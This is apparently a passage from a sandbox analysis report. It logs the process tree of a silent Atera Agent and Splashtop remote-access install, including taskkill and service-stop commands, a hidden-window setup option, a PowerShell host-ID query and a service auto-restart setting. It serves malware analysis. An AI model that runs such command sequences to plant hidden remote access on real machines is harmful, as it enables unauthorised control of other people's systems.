    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:5956
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 226F395C80741F493EF243A50E10D8DE E Global\MSI0000
  2⤵
  PID:4812
- - C:\Windows\SysWOW64\NET.exe
    "NET" STOP AteraAgent
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3172
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 STOP AteraAgent
      4⤵
      System Location Discovery: System Language Discovery
      PID:332
- - C:\Windows\SysWOW64\TaskKill.exe
    "TaskKill.exe" /f /im AteraAgent.exe
    3⤵
    - Kills process with taskkill
    PID:452
- C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="[email protected]" /CompanyId="1" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="001Q300000MveCAIAZ" /AgentId="a8163d42-479e-4a12-a886-9fad6c9d9756"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:5924
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C71D0D2B3FDE19C126D5CDC74D3C623A E Global\MSI0000
  2⤵
  - Blocklisted process makes network request
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Modifies registry class
  PID:4848
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F838C4C3-D7C8-40A2-BEED-9613D6D8D740}
    3⤵
    - Executes dropped EXE
    PID:3344
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{022063E3-E92D-4045-AFCE-D1627BED68A3}
    3⤵
    - Executes dropped EXE
    PID:2128
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{40DDA866-C324-45BB-B884-FD729820344D}
    3⤵
    - Executes dropped EXE
    PID:1668
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{49D4BBD5-9148-4FA4-9218-19074ED001D4}
    3⤵
    - Executes dropped EXE
    PID:452
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C98E5B73-3261-4D42-8027-964348240772}
    3⤵
    - Executes dropped EXE
    PID:2744
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{DBB1480B-A954-4B4A-ADA0-2E161AF9299B}
    3⤵
    - Executes dropped EXE
    PID:4136
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{55D661E7-B322-48B2-878E-69C705D40296}
    3⤵
    - Executes dropped EXE
    PID:1348
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{0139C4D9-4524-42D4-B17C-114836261B3B}
    3⤵
    - Executes dropped EXE
    PID:408
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F0C518F1-A252-467E-A8E2-7E103058D90F}
    3⤵
    - Executes dropped EXE
    PID:4036
- - C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe
    C:\Windows\TEMP\{1CEE4E19-39B5-4207-879F-8593505D99EA}\_is9C9.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{DA78FF0D-07A5-41FC-8194-A7D345DC0929}
    3⤵
    - Executes dropped EXE
    PID:4504
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRServer.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1156
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRServer.exe /T
      4⤵
      Kills process with taskkill
      PID:3628
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRApp.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4228
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRApp.exe /T
      4⤵
      Kills process with taskkill
      PID:2744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRAppPB.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3700
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRAppPB.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4456
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRFeature.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1348
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRFeature.exe /T
      4⤵
      Kills process with taskkill
      PID:3592
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRFeatMini.exe /T"
    3⤵
    PID:1472
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRFeatMini.exe /T
      4⤵
      Kills process with taskkill
      PID:3052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRManager.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4684
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRManager.exe /T
      4⤵
      Kills process with taskkill
      PID:4000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRAgent.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4456
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRAgent.exe /T
      4⤵
      Kills process with taskkill
      PID:5560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRChat.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:948
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRChat.exe /T
      4⤵
      Kills process with taskkill
      PID:5336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRAudioChat.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2052
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRAudioChat.exe /T
      4⤵
      Kills process with taskkill
      PID:2856
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\SysWOW64\cmd.exe /C "taskkill.exe /F /IM SRVirtualDisplay.exe /T"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4232
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill.exe /F /IM SRVirtualDisplay.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:2776
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{4D091366-3D0D-4168-BA61-2390B1ACD651}
    3⤵
    - Executes dropped EXE
    PID:5596
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{39AAC4B7-6EE6-4DC0-8024-385608066187}
    3⤵
    - Executes dropped EXE
    PID:5452
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{2D3C27AB-1878-48CF-8B42-370830A99E1F}
    3⤵
    - Executes dropped EXE
    PID:5336
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{490464F9-F793-4FEE-8032-84BA2FDD4D86}
    3⤵
    - Executes dropped EXE
    PID:2736
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E0131010-9938-48AB-B7C2-A30D32EC965D}
    3⤵
    - Executes dropped EXE
    PID:2856
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{EC924CD7-1F15-4387-8FE8-59706083FBD0}
    3⤵
    - Executes dropped EXE
    PID:3052
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{EB79EFF6-DDD6-4138-9C36-ED477DA218AF}
    3⤵
    - Executes dropped EXE
    PID:4120
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{DBA08245-62AA-45FC-9BBE-EC2C444A0B94}
    3⤵
    - Executes dropped EXE
    PID:2604
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{B0E40BDE-02D0-4F90-B05D-4D34964EA10D}
    3⤵
    - Executes dropped EXE
    PID:3040
- - C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe
    C:\Windows\TEMP\{07DFD8CB-EFB9-4406-B249-2151455D3BCC}\_is1841.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{CFB5233E-BFB6-4354-88CD-8F251D49B1BC}
    3⤵
    - Executes dropped EXE
    PID:5560
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{4849FFE6-234A-45AB-83E9-7EF4C97F5BBE}
    3⤵
    - Executes dropped EXE
    PID:4600
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{4CB1232D-0E2A-4101-9AC7-BBEDBC6C2DCF}
    3⤵
    PID:5556
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{21DB9C13-DF8C-4880-AE06-D1FE32732E10}
    3⤵
    PID:2272
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{FD34A278-D0D7-4C9F-A48C-F30A7BB35C03}
    3⤵
    PID:4444
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{9CC65565-F2CC-4A55-AD3E-1EAD00DE5520}
    3⤵
    PID:2744
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E911854A-000B-49F2-8253-21D42C949C56}
    3⤵
    PID:3460
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{A0949A5D-4FDE-406D-9B0C-00F514879F99}
    3⤵
    PID:4140
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{23216B93-61B3-499F-A31C-3A17E4070EC8}
    3⤵
    PID:3036
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{7E7E991A-7C1C-400F-8337-22DED5A608C4}
    3⤵
    PID:4460
- - C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe
    C:\Windows\TEMP\{AB62D888-DAD1-4484-819D-7BDE5EFE2054}\_is2978.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C4D4F1FC-57CE-4996-9FAB-048C204C7E94}
    3⤵
    PID:408
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe" /P ADDUSERINFO /V "sec_opt=0,confirm_d=0,hidewindow=1"
    3⤵
    PID:4328
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe" /P USERSESSIONID
    3⤵
    PID:5392
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\Support\SetupUtil.exe" /P ST_EVENT
    3⤵
    PID:2736
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /C "C:\Windows\system32\wevtutil.exe" um "C:\ProgramData\Splashtop\Common\Event\stevt_srs_provider.man"
      4⤵
      PID:5384
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /C "C:\Windows\system32\wevtutil.exe" im "C:\ProgramData\Splashtop\Common\Event\stevt_srs_provider.man"
      4⤵
      PID:6444
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRSelfSignCertUtil.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRSelfSignCertUtil.exe" -g
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6792
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{0B0E9EE5-C2AC-4487-A661-966478F63A07}
    3⤵
    PID:7024
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{0C202273-DAD2-43A4-90B7-568D906245A7}
    3⤵
    PID:7068
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8967AF16-B630-4772-BD11-1DF5CFAB8D87}
    3⤵
    PID:7100
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{699FC43A-EB9B-488D-806F-DE20863FBFED}
    3⤵
    PID:7132
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{E8EBF32B-18A6-408B-A288-95658A4109EA}
    3⤵
    PID:7164
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F4C1BF54-2C4F-4C4D-981D-A7205FC34AFA}
    3⤵
    PID:1392
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{C3192FC2-8551-4D13-B168-BF8EB6FDBD7E}
    3⤵
    PID:6212
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{9F8B5EC9-12FB-47C8-9D65-26B870400AB5}
    3⤵
    PID:6264
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{F8CA4DFF-F8AF-4834-BAFB-6F5AC42ACB90}
    3⤵
    PID:4820
- - C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe
    C:\Windows\TEMP\{BBE0C7D0-BE25-453A-8CEE-C179E76B85BD}\_is3CA4.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{83D28480-F8C7-400D-9421-404319DE350B}
    3⤵
    PID:1988
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe" -i
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:6336
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{57C72711-0035-4599-81CF-9597069F21A4}
    3⤵
    PID:6548
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{6C99B7F7-479F-465F-8586-2D1E7BECA617}
    3⤵
    PID:6520
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{9EBFBE47-18FF-47B7-8743-DB1AEFAAB806}
    3⤵
    PID:6576
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{DE358D58-41EC-4E23-B62E-A80BF8ABE44B}
    3⤵
    PID:6612
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{99DD14E9-9951-4B2D-A645-69234C673D38}
    3⤵
    PID:6632
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{8D0D9786-41C1-45C8-8F69-A583BE4AE2E0}
    3⤵
    PID:5348
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{A4AB90A9-DA72-467A-B60C-D2FDB9BD5182}
    3⤵
    PID:6700
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{B483DA64-9B75-4BF6-B674-B4848611B598}
    3⤵
    PID:6776
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{4AB5EB1C-49B4-4EEA-831F-9A3CDDABEF47}
    3⤵
    PID:920
- - C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe
    C:\Windows\TEMP\{9C6D92BF-9362-4C7E-9ABC-29B715C8B6AA}\_is3F84.exe {EFB7539B-24F3-46B6-AF6E-3B021B51EFEF}:{ED6F3FAE-F895-4A66-950A-7301D781884F}
    3⤵
    PID:6356
- - C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe
    "C:\Program Files (x86)\Splashtop\Splashtop Remote\Server\SRService.exe" -r
    3⤵
    PID:3088
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9BC44CE95FF2817FD4C13FEC11B5ED1D E Global\MSI0000
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6232
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI793F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242055859 465 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.GenerateAgentId
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:4704
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI7C7C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242056328 469 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiStart
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:7132
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI8094.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242057343 474 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ShouldContinueInstallation
    3⤵
    - Drops file in Windows directory
    PID:1900
- - C:\Windows\SysWOW64\NET.exe
    "NET" STOP AteraAgent
    3⤵
    PID:7628
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 STOP AteraAgent
      4⤵
      PID:7668
- - C:\Windows\SysWOW64\TaskKill.exe
    "TaskKill.exe" /f /im AteraAgent.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Kills process with taskkill
    PID:7696
- - C:\Windows\syswow64\NET.exe
    "NET" STOP AteraAgent
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6208
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:1900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 STOP AteraAgent
      4⤵
      PID:4304
- - C:\Windows\syswow64\TaskKill.exe
    "TaskKill.exe" /f /im AteraAgent.exe
    3⤵
    - Kills process with taskkill
    PID:7568
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSIA84A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242067515 512 AlphaControlAgentInstallation!AlphaControlAgentInstallation.CustomActions.ReportMsiEnd
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:7368
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding EEABDCAB1F6A07EA45818DF16064DA07 C
  2⤵
  - System Location Discovery: System Language Discovery
  PID:980
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7CD6.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_242056578 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    PID:556
- C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe
  "C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe" /u
  2⤵
  - Drops file in System32 directory
  PID:7292
- C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe
  "C:\Program Files\ATERA Networks\AteraAgent\AteraAgent.exe" /i /IntegratorLogin="" /CompanyId="" /IntegratorLoginUI="" /CompanyIdUI="" /FolderId="" /AccountId="" /AgentId="29bfff1a-4ed5-4ada-9f42-a4c29fc78aeb"
  2⤵
  - Modifies data under HKEY_USERS
  PID:8108
- C:\Windows\System32\MsiExec.exe
  C:\Windows\System32\MsiExec.exe -Embedding 7DB8BC681D492F03B5CDA1DB4A54E52E
  2⤵
  - Blocklisted process makes network request
  PID:7260
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(Get-CimInstance -Class Win32_ComputerSystemProduct).UUID"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:4524

C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe
"C:\Program Files (x86)\ATERA Networks\AteraAgent\AteraAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:2608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" failure AteraAgent reset= 600 actions= restart/25000
  2⤵
  - Launches sc.exe
  PID:512
